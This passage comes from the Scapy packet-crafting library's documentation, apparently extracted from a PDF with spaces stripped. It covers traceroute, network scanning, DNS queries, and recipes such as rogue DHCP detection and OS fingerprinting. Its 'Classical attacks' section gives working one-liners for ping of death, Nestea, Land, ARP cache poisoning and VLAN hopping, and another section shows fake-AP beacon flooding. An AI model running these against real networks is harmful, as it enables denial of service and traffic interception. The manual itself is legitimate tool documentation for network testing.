→254:801192.
168.
8.
1192.
168.
8.
1192.
168.
8.
1192.
168.
8.
1282.
243.
5.
25482.
243.
5.
25482.
243.
5.
25482.
243.
5.
2543213.
228.
4.
254213.
228.
4.
254213.
228.
4.
254213.
228.
4.
2544212.
27.
50.
46212.
27.
50.
46212.
27.
50.
46212.
27.
50.
465212.
27.
50.
37212.
27.
50.
41212.
27.
50.
37212.
27.
50.
416212.
27.
50.
34212.
27.
50.
34213.
228.
3.
234193.
251.
251.
697213.
248.
71.
141217.
118.
239.
149208.
184.
231.
214193.
251.
241.
1788213.
248.
65.
81217.
118.
224.
4464.
125.
31.
129193.
251.
242.
989213.
248.
70.
14213.
206.
129.
8564.
125.
31.
186193.
251.
243.
8910193.
45.
10.
88SA213.
206.
128.
16064.
125.
29.
122193.
251.
254.
12611193.
45.
10.
88SA206.
24.
169.
4164.
125.
28.
70216.
115.
97.
17812193.
45.
10.
88SA206.
24.
226.
9964.
125.
28.
20966.
218.
64.
14613193.
45.
10.
88SA206.
24.
227.
10664.
125.
29.
4566.
218.
82.
23014193.
45.
10.
88SA216.
109.
74.
3064.
125.
31.
21466.
94.
229.
254→SA15193.
45.
10.
88SA216.
109.
120.
14964.
124.
229.
10966.
94.
229.
254→SA(continuesonnextpage)40Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)16193.
45.
10.
88SA216.
109.
118.
79SA64.
241.
242.
243SA66.
94.
229.
254→SA17193.
45.
10.
88SA216.
109.
118.
79SA64.
241.
242.
243SA66.
94.
229.
254→SA18193.
45.
10.
88SA216.
109.
118.
79SA64.
241.
242.
243SA66.
94.
229.
254→SA19193.
45.
10.
88SA216.
109.
118.
79SA64.
241.
242.
243SA66.
94.
229.
254→SA20193.
45.
10.
88SA216.
109.
118.
79SA64.
241.
242.
243SA66.
94.
229.
254→SA(,)Thelastlineisinfacttheresultofthefunction:atracerouteresultobjectandapacketlistofunansweredpackets.
Thetracerouteresultisamorespecialisedversion(asubclass,infact)ofaclassicresultobject.
Wecansaveittoconsultthetracerouteresultagainabitlater,ortodeeplyinspectoneoftheanswers,forexampletocheckpadding.
>>>result,unans=_>>>result.
show()193.
45.
10.
88:80216.
109.
118.
79:8064.
241.
242.
243:8066.
94.
229.
→254:801192.
168.
8.
1192.
168.
8.
1192.
168.
8.
1192.
168.
8.
1282.
251.
4.
25482.
251.
4.
25482.
251.
4.
25482.
251.
4.
2543213.
228.
4.
254213.
228.
4.
254213.
228.
4.
254213.
228.
4.
254[.
.
.
]>>>result.
filter(lambdax:Paddinginx[1])Likeanyresultobject,tracerouteobjectscanbeadded:>>>r2,unans=traceroute(["www.
voila.
com"],maxttl=20)Received19packets,got19answers,remaining1packets195.
101.
94.
25:801192.
168.
8.
1282.
251.
4.
2543213.
228.
4.
2544212.
27.
50.
1695212.
27.
50.
1626193.
252.
161.
977193.
252.
103.
868193.
252.
103.
779193.
252.
101.
110193.
252.
227.
24512195.
101.
94.
25SA13195.
101.
94.
25SA14195.
101.
94.
25SA15195.
101.
94.
25SA16195.
101.
94.
25SA17195.
101.
94.
25SA18195.
101.
94.
25SA19195.
101.
94.
25SA20195.
101.
94.
25SA>>>>>>r3=result+r2>>>r3.
show()(continuesonnextpage)3.
2.
Interactivetutorial41ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)195.
101.
94.
25:80212.
23.
37.
13:80216.
109.
118.
72:8064.
241.
242.
→243:8066.
94.
229.
254:801192.
168.
8.
1192.
168.
8.
1192.
168.
8.
1192.
168.
8.
1→192.
168.
8.
1282.
251.
4.
25482.
251.
4.
25482.
251.
4.
25482.
251.
4.
254→82.
251.
4.
2543213.
228.
4.
254213.
228.
4.
254213.
228.
4.
254213.
228.
4.
254→213.
228.
4.
2544212.
27.
50.
169212.
27.
50.
169212.
27.
50.
46-→212.
27.
50.
465212.
27.
50.
162212.
27.
50.
162212.
27.
50.
37212.
27.
50.
41→212.
27.
50.
376193.
252.
161.
97194.
68.
129.
168212.
27.
50.
34213.
228.
3.
234→193.
251.
251.
697193.
252.
103.
86212.
23.
42.
33217.
118.
239.
185208.
184.
231.
→214193.
251.
241.
1788193.
252.
103.
77212.
23.
42.
6217.
118.
224.
4464.
125.
31.
129→193.
251.
242.
989193.
252.
101.
1212.
23.
37.
13SA213.
206.
129.
8564.
125.
31.
186→193.
251.
243.
8910193.
252.
227.
245212.
23.
37.
13SA213.
206.
128.
16064.
125.
29.
122→193.
251.
254.
12611-212.
23.
37.
13SA206.
24.
169.
4164.
125.
28.
70→216.
115.
97.
17812195.
101.
94.
25SA212.
23.
37.
13SA206.
24.
226.
10064.
125.
28.
209→216.
115.
101.
4613195.
101.
94.
25SA212.
23.
37.
13SA206.
24.
238.
16664.
125.
29.
45→66.
218.
82.
23414195.
101.
94.
25SA212.
23.
37.
13SA216.
109.
74.
3064.
125.
31.
214→66.
94.
229.
254SA15195.
101.
94.
25SA212.
23.
37.
13SA216.
109.
120.
15164.
124.
229.
109→66.
94.
229.
254SA16195.
101.
94.
25SA212.
23.
37.
13SA216.
109.
118.
72SA64.
241.
242.
243→SA66.
94.
229.
254SA17195.
101.
94.
25SA212.
23.
37.
13SA216.
109.
118.
72SA64.
241.
242.
243→SA66.
94.
229.
254SA18195.
101.
94.
25SA212.
23.
37.
13SA216.
109.
118.
72SA64.
241.
242.
243→SA66.
94.
229.
254SA19195.
101.
94.
25SA212.
23.
37.
13SA216.
109.
118.
72SA64.
241.
242.
243→SA66.
94.
229.
254SA20195.
101.
94.
25SA212.
23.
37.
13SA216.
109.
118.
72SA64.
241.
242.
243→SA66.
94.
229.
254SATracerouteresultobjectalsohaveaveryneatfeature:theycanmakeadirectedgraphfromalltheroutestheygot,andclusterthembyAS(AutonomousSystem).
Youwillneedgraphviz.
Bydefault,ImageMagickisusedtodisplaythegraph.
>>>res,unans=traceroute(["www.
microsoft.
com","www.
cisco.
com","www.
→yahoo.
com","www.
wanadoo.
fr","www.
pacsec.
com"],dport=[80,443],maxttl=20,→retry=-2)Received190packets,got190answers,remaining10packets193.
252.
122.
103:443193.
252.
122.
103:80198.
133.
219.
25:443198.
133.
219.
→25:80207.
46.
.
.
1192.
168.
8.
1192.
168.
8.
1192.
168.
8.
1192.
168.
8.
1→192.
16.
.
.
(continuesonnextpage)42Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)282.
251.
4.
25482.
251.
4.
25482.
251.
4.
25482.
251.
4.
254→82.
251.
.
.
3213.
228.
4.
254213.
228.
4.
254213.
228.
4.
254213.
228.
4.
254→213.
22.
.
.
[.
.
.
]>>>res.
graph()#pipedtoImageMagick'sdisplay→program.
Imagebelow.
>>>res.
graph(type="ps",target="|lp")#pipedtopostscriptprinter>>>res.
graph(target=">/tmp/graph.
svg")#savedtofileIfyouhaveVPythoninstalled,youalsocanhavea3Drepresentationofthetraceroute.
Withtherightbutton,youcanrotatethescene,withthemiddlebutton,youcanzoom,withtheleftbutton,youcanmovethescene.
Ifyouclickonaball,it'sIPwillappear/disappear.
IfyouCtrl-clickonaball,ports21,22,23,25,80and443willbescannedandtheresultdisplayed:3.
2.
Interactivetutorial43ScapyDocumentation,Release2.
4.
4.
>>>res.
trace3D()44Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
3.
2.
23WirelessframeinjectionNote:SeetheTroubleShootingsectionformoreinformationontheusageofMonitormodeamongScapy.
Providedthatyourwirelesscardanddriverarecorrectlyconguredforframeinjection$iwdevwlan0interfaceaddmon0typemonitor$ifconfigmon0upOnWindows,ifusingNpcap,theequivalentwouldbetocall:3.
2.
Interactivetutorial45ScapyDocumentation,Release2.
4.
4.
>>>#Ofcourse,conf.
ifacecanbereplacedbyanyinterfacesaccessed→throughconf.
ifaces.
.
.
conf.
iface.
setmonitor(True)youcanhaveakindofFakeAP:>>>sendp(RadioTap()/Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2="00:01:02:03:04:05",addr3="00:01:02:03:04:05")/Dot11Beacon(cap="ESS",timestamp=1)/Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/Dot11EltRates(rates=[130,132,11,22])/Dot11Elt(ID="DSset",info="\x03")/Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="mon0",loop=1)Dependingonthedriver,thecommandsneededtogetaworkingframeinjectioninterfacemayvary.
Youmayalsohavetoreplacetherstpseudo-layer(intheexampleRadioTap())byPrismHeader(),orbyaproprietarypseudo-layer,oreventoremoveit.
3.
3Simpleone-liners3.
3.
1ACKScanUsingScapy'spowerfulpacketcraftingfacilitieswecanquickreplicateclassicTCPScans.
Forexample,thefollowingstringwillbesenttosimulateanACKScan:>>>ans,unans=sr(IP(dst="www.
slashdot.
org")/TCP(dport=[80,666],flags="A→"))Wecanndunlteredportsinansweredpackets:>>>fors,rinans:.
.
.
ifs[TCP].
dport==r[TCP].
sport:.
.
.
print("%disunfiltered"%s[TCP].
dport)Similarly,lteredportscanbefoundwithunansweredpackets:>>>forsinunans:.
.
.
print("%disfiltered"%s[TCP].
dport)3.
3.
2XmasScanXmasScancanbelaunchedusingthefollowingcommand:>>>ans,unans=sr(IP(dst="192.
168.
1.
1")/TCP(dport=666,flags="FPU"))CheckingRSTresponseswillrevealclosedportsonthetarget.
46Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
3.
3.
3IPScanAlowerlevelIPScancanbeusedtoenumeratesupportedprotocols:>>>ans,unans=sr(IP(dst="192.
168.
1.
1",proto=(0,255))/"SCAPY",retry=2)3.
3.
4ARPPingThefastestwaytodiscoverhostsonalocalethernetnetworkistousetheARPPingmethod:>>>ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.
168.
1.
0/→24"),timeout=2)Answerscanbereviewedwiththefollowingcommand:>>>ans.
summary(lambdas,r:r.
sprintf("%Ether.
src%%ARP.
psrc%"))Scapyalsoincludesabuilt-inarping()functionwhichperformssimilartotheabovetwocommands:>>>arping("192.
168.
1.
*")3.
3.
5ICMPPingClassicalICMPPingcanbeemulatedusingthefollowingcommand:>>>ans,unans=sr(IP(dst="192.
168.
1.
1-254")/ICMP())Informationonlivehostscanbecollectedwiththefollowingrequest:>>>ans.
summary(lambdas,r:r.
sprintf("%IP.
src%isalive"))3.
3.
6TCPPingIncaseswhereICMPechorequestsareblocked,wecanstillusevariousTCPPingssuchasTCPSYNPingbelow:>>>ans,unans=sr(IP(dst="192.
168.
1.
*")/TCP(dport=80,flags="S"))Anyresponsetoourprobeswillindicatealivehost.
Wecancollectresultswiththefollowingcommand:>>>ans.
summary(lambdas,r:r.
sprintf("%IP.
src%isalive"))3.
3.
Simpleone-liners47ScapyDocumentation,Release2.
4.
4.
3.
3.
7UDPPingIfallelsefailsthereisalwaysUDPPingwhichwillproduceICMPPortunreachableerrorsfromlivehosts.
Hereyoucanpickanyportwhichismostlikelytobeclosed,suchasport0:>>>ans,unans=sr(IP(dst="192.
168.
*.
1-10")/UDP(dport=0))Onceagain,resultscanbecollectedwiththiscommand:>>>ans.
summary(lambdas,r:r.
sprintf("%IP.
src%isalive"))3.
3.
8DNSRequestsIPv4(A)request:ThiswillperformaDNSrequestlookingforIPv4addresses>>>ans=sr1(IP(dst="8.
8.
8.
8")/UDP(sport=RandShort(),dport=53)/DNS(rd=1,→qd=DNSQR(qname="secdev.
org",qtype="A")))>>>ans.
an.
rdata'217.
25.
178.
5'SOArequest:>>>ans=sr1(IP(dst="8.
8.
8.
8")/UDP(sport=RandShort(),dport=53)/DNS(rd=1,→qd=DNSQR(qname="secdev.
org",qtype="SOA")))>>>ans.
ns.
mnameb'dns.
ovh.
net.
'>>>ans.
ns.
rnameb'tech.
ovh.
net.
'MXrequest:>>>ans=sr1(IP(dst="8.
8.
8.
8")/UDP(sport=RandShort(),dport=53)/DNS(rd=1,→qd=DNSQR(qname="google.
com",qtype="MX")))>>>results=[x.
exchangeforxinans.
an.
iterpayloads()]>>>results[b'alt1.
aspmx.
l.
google.
com.
',b'alt4.
aspmx.
l.
google.
com.
',b'aspmx.
l.
google.
com.
',b'alt2.
aspmx.
l.
google.
com.
',b'alt3.
aspmx.
l.
google.
com.
']3.
3.
9ClassicalattacksMalformedpackets:>>>send(IP(dst="10.
1.
1.
5",ihl=2,version=3)/ICMP())Pingofdeath(Muuahahah):>>>send(fragment(IP(dst="10.
0.
0.
5")/ICMP()/("X"*60000)))Nesteaattack:48Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
>>>send(IP(dst=target,id=42,flags="MF")/UDP()/("X"*10))>>>send(IP(dst=target,id=42,frag=48)/("X"*116))>>>send(IP(dst=target,id=42,flags="MF")/UDP()/("X"*224))Landattack(designedforMicrosoftWindows):>>>send(IP(src=target,dst=target)/TCP(sport=135,dport=135))3.
3.
10ARPcachepoisoningThisattackpreventsaclientfromjoiningthegatewaybypoisoningitsARPcachethroughaVLANhoppingattack.
ClassicARPcachepoisoning:>>>send(Ether(dst=clientMAC)/ARP(op="who-has",psrc=gateway,→pdst=client),inter=RandNum(10,40),loop=1)ARPcachepoisoningwithdouble802.
1qencapsulation:>>>send(Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op="who-has",psrc=gateway,pdst=client),inter=RandNum(10,40),loop=1)3.
3.
11TCPPortScanningSendaTCPSYNoneachport.
WaitforaSYN-ACKoraRSToranICMPerror:>>>res,unans=sr(IP(dst="target")/TCP(flags="S",dport=(1,1024)))Possibleresultvisualization:openports>>>res.
nsummary(lfilter=lambdas,r:(r.
haslayer(TCP)and(r.
→getlayer(TCP).
flags&2)))3.
3.
12IKEScanningWetrytoidentifyVPNconcentratorsbysendingISAKMPSecurityAssociationproposalsandreceivingtheanswers:>>>res,unans=sr(IP(dst="192.
168.
1.
*")/UDP()/ISAKMP(init_cookie=RandString(8),exch_type="identity→prot.
")/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()))Visualizingtheresultsinalist:3.
3.
Simpleone-liners49ScapyDocumentation,Release2.
4.
4.
>>>res.
nsummary(prn=lambdas,r:r.
src,lfilter=lambdas,r:r.
→haslayer(ISAKMP))3.
3.
13AdvancedtracerouteTCPSYNtraceroute>>>ans,unans=sr(IP(dst="4.
2.
2.
1",ttl=(1,10))/TCP(dport=53,flags="S"))Resultswouldbe:>>>ans.
summary(lambdas,r:r.
sprintf("%IP.
src%\t{ICMP:%ICMP.
type%}\t{TCP:→%TCP.
flags%}"))192.
168.
1.
1time-exceeded68.
86.
90.
162time-exceeded4.
79.
43.
134time-exceeded4.
79.
43.
133time-exceeded4.
68.
18.
126time-exceeded4.
68.
123.
38time-exceeded4.
2.
2.
1SAUDPtracerouteTraceroutinganUDPapplicationlikewedowithTCPisnotreliable,becausethere'snohandshake.
Weneedtogiveanapplicativepayload(DNS,ISAKMP,NTP,etc.
)todeserveananswer:>>>res,unans=sr(IP(dst="target",ttl=(1,20))/UDP()/DNS(qd=DNSQR(qname="test.
com"))Wecanvisualizetheresultsasalistofrouters:>>>res.
make_table(lambdas,r:(s.
dst,s.
ttl,r.
src))DNStracerouteWecanperformaDNStraceroutebyspecifyingacompletepacketinl4parameteroftraceroute()function:>>>ans,unans=traceroute("4.
2.
2.
1",l4=UDP(sport=RandShort())/→DNS(qd=DNSQR(qname="thesprawl.
org")))Beginemission:Finishedtosend30packets.
Received75packets,got28answers,remaining2packets4.
2.
2.
1:udp531192.
168.
1.
111468.
86.
90.
1621154.
79.
43.
1341164.
79.
43.
1331174.
68.
18.
6211(continuesonnextpage)50Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)84.
68.
123.
61194.
2.
2.
1.
.
.
3.
3.
14Etherleaking>>>sr1(IP(dst="172.
16.
1.
232")/ICMP())>>3.
3.
15ICMPleakingThiswasaLinux2.
0bug:>>>sr1(IP(dst="172.
16.
1.
1",options="\x02")/ICMP())>>>>3.
3.
16VLANhoppingInveryspecicconditions,adouble802.
1qencapsulationwillmakeapacketjumptoanotherVLAN:>>>sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())3.
3.
17WirelesssnifngThefollowingcommandwilldisplayinformationsimilartomostwirelesssniffers:>>>sniff(iface="ath0",prn=lambdax:x.
sprintf("{Dot11Beacon:%Dot11.
addr3%\→t%Dot11Beacon.
info%\t%PrismHeader.
channel%\t%Dot11Beacon.
cap%}"))Note:OnWindowsandOSX,youwillneedtoalsousemonitor=True,whichonlyworksonscapy>2.
4.
0(2.
4.
0dev+).
Thismightrequireyoutomanuallytogglemonitormode.
Theabovecommandwillproduceoutputsimilartotheonebelow:00:00:00:01:02:03netgear6LESS+privacy+PBCC11:22:33:44:55:66wireless_1006Lshort-slot+ESS+privacy44:55:66:00:11:22linksys6Lshort-slot+ESS+privacy12:34:56:78:90:12NETGEAR6Lshort-slot+ESS+privacy+short-preamble3.
3.
Simpleone-liners51ScapyDocumentation,Release2.
4.
4.
3.
4Recipes3.
4.
1SimplisticARPMonitorThisprogramusesthesniff()callback(parameterprn).
Thestoreparameterissetto0sothatthesniff()functionwillnotstoreanything(asitwoulddootherwise)andthuscanrunforever.
Thelterparameterisusedforbetterperformancesonhighload:thelterisappliedinsidethekernelandScapywillonlyseeARPtrafc.
#!
/usr/bin/envpythonfromscapy.
allimport*defarp_monitor_callback(pkt):ifARPinpktandpkt[ARP].
opin(1,2):#who-hasoris-atreturnpkt.
sprintf("%ARP.
hwsrc%%ARP.
psrc%")sniff(prn=arp_monitor_callback,filter="arp",store=0)3.
4.
2IdentifyingrogueDHCPserversonyourLANProblemYoususpectthatsomeonehasinstalledanadditional,unauthorizedDHCPserveronyourLAN–eitherunintentionallyormaliciously.
ThusyouwanttocheckforanyactiveDHCPserversandidentifytheirIPandMACaddresses.
SolutionUseScapytosendaDHCPdiscoverrequestandanalyzethereplies:>>>conf.
checkIPaddr=False>>>fam,hw=get_if_raw_hwaddr(conf.
iface)>>>dhcp_discover=Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.
0.
0.
0",dst=→"255.
255.
255.
255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/→DHCP(options=[("message-type","discover"),"end"])>>>ans,unans=srp(dhcp_discover,multi=True)#PressCTRL-Cafter→severalsecondsBeginemission:Finishedtosend1packets.
.
*.
.
.
*.
.
Received8packets,got2answers,remaining0packetsInthiscasewegot2replies,sothereweretwoactiveDHCPserversonthetestnetwork:>>>ans.
summary()Ether/IP/UDP0.
0.
0.
0:bootpc>255.
255.
255.
255:bootps/BOOTP/DHCP==>→Ether/IP/UDP192.
168.
1.
1:bootps>255.
255.
255.
255:bootpc/BOOTP/→DHCPEther/IP/UDP0.
0.
0.
0:bootpc>255.
255.
255.
255:bootps/BOOTP/DHCP==>→Ether/IP/UDP192.
168.
1.
11:bootps>255.
255.
255.
255:bootpc/BOOTP/→DHCPWeareonlyinterestedintheMACandIPaddressesofthereplies:52Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
>>>forpinans:printp[1][Ether].
src,p[1][IP].
src.
.
.
00:de:ad:be:ef:00192.
168.
1.
100:11:11:22:22:33192.
168.
1.
11DiscussionWespecifymulti=TruetomakeScapywaitformoreanswerpacketsaftertherstresponseisre-ceived.
Thisisalsothereasonwhywecan'tusethemoreconvenientdhcp_request()functionandhavetoconstructtheDHCPpacketmanually:dhcp_request()usessrp1()forsendingandreceivingandthuswouldimmediatelyreturnaftertherstanswerpacket.
Moreover,ScapynormallymakessurethatrepliescomefromthesameIPaddressthestimuluswassentto.
ButourDHCPpacketissenttotheIPbroadcastaddress(255.
255.
255.
255)andanyanswerpacketwillhavetheIPaddressofthereplyingDHCPserverasitssourceIPaddress(e.
g.
192.
168.
1.
1).
BecausetheseIPaddressesdon'tmatch,wehavetodisableScapy'scheckwithconf.
checkIPaddr=Falsebeforesendingthestimulus.
Seealsohttp://en.
wikipedia.
org/wiki/Rogue_DHCP3.
4.
3FirewalkingTTLdecrementationafteralteringoperationonlynotlteredpacketsgenerateanICMPTTLexceeded>>>ans,unans=sr(IP(dst="172.
16.
4.
27",ttl=16)/TCP(dport=(1,1024)))>>>fors,rinans:ifr.
haslayer(ICMP)andr.
payload.
type==11:prints.
dportFindsubnetsonamulti-NICrewallonlyhisownNIC'sIParereachablewiththisTTL:>>>ans,unans=sr(IP(dst="172.
16.
5/24",ttl=15)/TCP())>>>foriinunans:printi.
dst3.
4.
4TCPTimestampFilteringProblemManyrewallsincludearuletodropTCPpacketsthatdonothaveTCPTimestampoptionsetwhichisacommonoccurrenceinpopularportscanners.
3.
4.
Recipes53ScapyDocumentation,Release2.
4.
4.
SolutionToallowScapytoreachtargetdestinationadditionaloptionsmustbeused:>>>sr1(IP(dst="72.
14.
207.
99")/TCP(dport=80,flags="S",options=[('Timestamp→',(0,0))]))3.
4.
5ViewingpacketswithWiresharkProblemYouhavegeneratedorsniffedsomepacketswithScapy.
NowyouwanttoviewthemwithWireshark,becauseofitsadvancedpacketdissectioncapabilities.
SolutionThat'swhatwireshark()isfor!
#First,generatesomepackets.
.
.
packets=IP(src="192.
0.
2.
9",dst=Net("192.
0.
2.
10/30"))/ICMP()#ShowthemwithWiresharkwireshark(packets)Wiresharkwillstartinthebackground,andshowyourpackets.
Discussionwireshark(pktlist,.
.
.
)WithaPacketorPacketList,serialisesyourpackets,andstreamsthisintoWiresharkviastdinasifitwereacapturedevice.
Becausethisusespcapformattoserialisethepackets,therearesomelimitations:Packetsmustbeallofthesamelinktype.
Forexample,youcan'tmixEtherandIPatthetoplayer.
Packetsmusthaveanassigned(andsupported)DLT_*constantforthelinktype.
AnunsupportedlinktypeisreplacedwithDLT_EN10MB(Ethernet),andwilldisplayincor-rectlyinWireshark.
Forexample,can'tpassabareICMPpacket,butyoucansenditasapayloadofanIPorIPv6packet.
Withalename(passedasastring),thisloadsthegivenleinWireshark.
ThisneedstobeinaformatthatWiresharksupports.
YoucantellScapywheretondtheWiresharkexecutablebychangingtheconf.
prog.
wiresharkcongurationsetting.
Thisacceptsthesameextraparametersastcpdump().
Seealso:54Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
WiresharkSinkAPipeToolssinkforlive-streamingpackets.
wireshark(1)AdditionaldescriptionofWireshark'sfunctionality,anditscommand-lineargu-ments.
Wireshark'swebsiteForup-to-datereleasesofWireshark.
WiresharkProtocolReferenceContainsdetailedinformationaboutWireshark'sprotocoldissectors,andreferencedocumentationforvariousnetworkprotocols.
3.
4.
6PerformanceofScapyProblemScapydissectsslowlyand/ormissespacketsunderheavyloads.
Note:PleasebareinmindthatScapyisnotdesignedtobeblazingfast,butrathereasilyhackable&extensible.
ThepacketmodelmakesitVERYeasytocreatenewlayers,comparedtoprettymuchallotheralternatives,butcomeswithaperformancecost.
Ofcourse,westilldoourbesttomakeScapyasfastaspossible,butit'snottheabsolutemaingoal.
SolutionTherearequiteafewwaysofspeedingupscapy'sdissection.
YoucanuseallofthemUsingaBPFlter:TheOSisfasterthanScapy.
IfyoumaketheOSlterthepacketsinsteadofScapy,itwillonlyhandleafractionoftheload.
Usethefilter=argumentofthesniff()function.
Bydisablinglayersyoudon'tuse:Ifyouarenotusingsomelayers,whydissectthemYoucanletScapyknowwhichlayerstodissectandalltheotherswillsimplybeparsedasRaw.
Thiscomeswithagreatperformanceboostbutrequiresyoutoknowwhatyou'redoing.
#Enablefiltering:onlyEther,IPandICMPwillbedissectedconf.
layers.
filter([Ether,IP,ICMP])#Disablefiltering:restoreeverythingtonormalconf.
layers.
unfilter()3.
4.
7OSFingerprintingISNScapycanbeusedtoanalyzeISN(InitialSequenceNumber)incrementstopossiblydiscovervulnerablesystems.
FirstwewillcollecttargetresponsesbysendinganumberofSYNprobesinaloop:>>>ans,unans=srloop(IP(dst="192.
168.
1.
1")/TCP(dport=80,flags="S"))Onceweobtainareasonablenumberofresponseswecanstartanalyzingcollecteddatawithsomethinglikethis:3.
4.
Recipes55ScapyDocumentation,Release2.
4.
4.
>>>temp=0>>>fors,rinans:.
.
.
temp=r[TCP].
seq-temp.
.
.
print("%d\t+%d"%(r[TCP].
seq,temp)).
.
.
4278709328+42757586734279655607+38969344280642461+42767455274281648240+49027134282645099+42777423864283643696+5901310nmap_fpNmapngerprinting(theold"1stgeneration"onethatwasdonebyNmapuptov4.
20)issupportedinScapy.
InScapyv2youhavetoloadanextensionmodulerst:>>>load_module("nmap")IfyouhaveNmapinstalledyoucanuseit'sactiveosngerprintingdatabasewithScapy.
Makesurethatversion1ofsignaturedatabaseislocatedinthepathspeciedby:>>>conf.
nmap_baseThenyoucanusethenmap_fp()functionwhichimplementssameprobesasinNmap'sOSDetectionengine:>>>nmap_fp("192.
168.
1.
1",oport=443,cport=1)Beginemission:Finishedtosend8packets.
Received58packets,got7answers,remaining1packets(1.
0,['Linux2.
4.
0-2.
5.
20','Linux2.
4.
19w/grsecuritypatch','Linux2.
4.
20-2.
4.
22w/grsecurity.
orgpatch','Linux2.
4.
22-ck2(x86)w/grsecurity.
organdHZ=1000patches','Linux2.
4.
7-2.
6.
11'])p0fIfyouhavep0finstalledonyoursystem,youcanuseittoguessOSnameandversionrightfromScapy(onlySYNdatabaseisused).
Firstmakesurethatp0fdatabaseexistsinthepathspeciedby:>>>conf.
p0f_baseForexampletoguessOSfromasinglecapturedpacket:>>>sniff(prn=prnp0f)192.
168.
1.
100:54716-Linux2.
6(newer,1)(up:24hrs)->74.
125.
19.
104:www(distance0)56Chapter3.
UsageCHAPTERFOURADVANCEDUSAGE4.
1ASN.
1andSNMP4.
1.
1WhatisASN.
1Note:ThisisonlymyviewonASN.
1,explainedassimplyaspossible.
Formoretheoreticaloracademicviews,I'msureyou'llndbetterontheInternet.
ASN.
1isanotationwhosegoalistospecifyformatsfordataexchange.
Itisindependentofthewaydataisencoded.
DataencodingisspeciedinEncodingRules.
ThemostusedencodingrulesareBER(BasicEncodingRules)andDER(DistinguishedEncodingRules).
Bothlookthesame,butthelatterisspeciedtoguaranteeuniquenessofencoding.
Thispropertyisquiteinterestingwhenspeakingaboutcryptography,hashes,andsignatures.
ASN.
1providesbasicobjects:integers,manykindsofstrings,oats,booleans,containers,etc.
Theyaregroupedintheso-calledUniversalclass.
AgivenprotocolcanprovideotherobjectswhichwillbegroupedintheContextclass.
Forexample,SNMPdenesPDU_GETorPDU_SETobjects.
TherearealsotheApplicationandPrivateclasses.
Eachoftheseobjectsisgivenatagthatwillbeusedbytheencodingrules.
Tagsfrom1areusedforUniversalclass.
1isboolean,2isaninteger,3isabitstring,6isanOID,48isforasequence.
TagsfromtheContextclassbeginat0xa0.
Whenencounteringanobjecttaggedby0xa0,we'llneedtoknowthecontexttobeabletodecodeit.
Forexample,inSNMPcontext,0xa0isaPDU_GETobject,whileinX509context,itisacontainerforthecerticateversion.
Otherobjectsarecreatedbyassemblingallthosebasicbrickobjects.
Thecompositionisdoneusingsequencesandarrays(sets)ofpreviouslydenedorexistingobjects.
Thenalobject(anX509certi-cate,aSNMPpacket)isatreewhosenon-leafnodesaresequencesandsetsobjects(orderivedcontextobjects),andwhoseleafnodesareintegers,strings,OID,etc.
57ScapyDocumentation,Release2.
4.
4.
4.
1.
2ScapyandASN.
1ScapyprovidesawaytoeasilyencodeordecodeASN.
1andalsoprogramthoseencoders/decoders.
ItisquitelaxerthanwhatanASN.
1parsershouldbe,anditkindofignoresconstraints.
Itwon'treplaceneitheranASN.
1parsernoranASN.
1compiler.
Actually,ithasbeenwrittentobeabletoencodeanddecodebrokenASN.
1.
Itcanhandlecorruptedencodedstringsandcanalsocreatethose.
ASN.
1engineNote:manyoftheclassesdenitionspresentedhereusemetaclasses.
Ifyoudon'tlookpreciselyatthesourcecodeandyouonlyrelyonmycaptures,youmaythinktheysometimesexhibitakindofmagicbehavior.
``ScapyASN.
1engineprovidesclassestolinkobjectsandtheirtags.
TheyinheritfromtheASN1_Class.
TherstoneisASN1_Class_UNIVERSAL,whichprovidetagsformostUniversalobjects.
Eachnewcontext(SNMP,X509)willinheritfromitandadditsownobjects.
classASN1_Class_UNIVERSAL(ASN1_Class):name="UNIVERSAL"#[.
.
.
]BOOLEAN=1INTEGER=2BIT_STRING=3#[.
.
.
]classASN1_Class_SNMP(ASN1_Class_UNIVERSAL):name="SNMP"PDU_GET=0xa0PDU_NEXT=0xa1PDU_RESPONSE=0xa2classASN1_Class_X509(ASN1_Class_UNIVERSAL):name="X509"CONT0=0xa0CONT1=0xa1#[.
.
.
]AllASN.
1objectsarerepresentedbysimplePythoninstancesthatactasnutshellsfortherawvalues.
ThesimplelogicishandledbyASN1_Objectwhosetheyinheritfrom.
Hencetheyarequitesimple:classASN1_INTEGER(ASN1_Object):tag=ASN1_Class_UNIVERSAL.
INTEGERclassASN1_STRING(ASN1_Object):tag=ASN1_Class_UNIVERSAL.
STRINGclassASN1_BIT_STRING(ASN1_STRING):tag=ASN1_Class_UNIVERSAL.
BIT_STRINGTheseinstancescanbeassembledtocreateanASN.
1tree:>>>x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_→SEQUENCE([ASN1_BOOLEAN(False)])])>>>x,,]]>]]>(continuesonnextpage)58Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)>>>x.
show()#ASN1_SEQUENCE:#ASN1_SEQUENCE:EncodingenginesAswiththestandard,ASN.
1andencodingareindependent.
Wehavejustseenhowtocreateacom-poundedASN.
1object.
Toencodeordecodeit,weneedtochooseanencodingrule.
ScapyprovidesonlyBERforthemoment(actually,itmaybeDER.
DERlookslikeBERexceptonlyminimalencodingisauthorisedwhichmaywellbewhatIdid).
IcallthisanASN.
1codec.
Encodinganddecodingaredoneusingclassmethodsprovidedbythecodec.
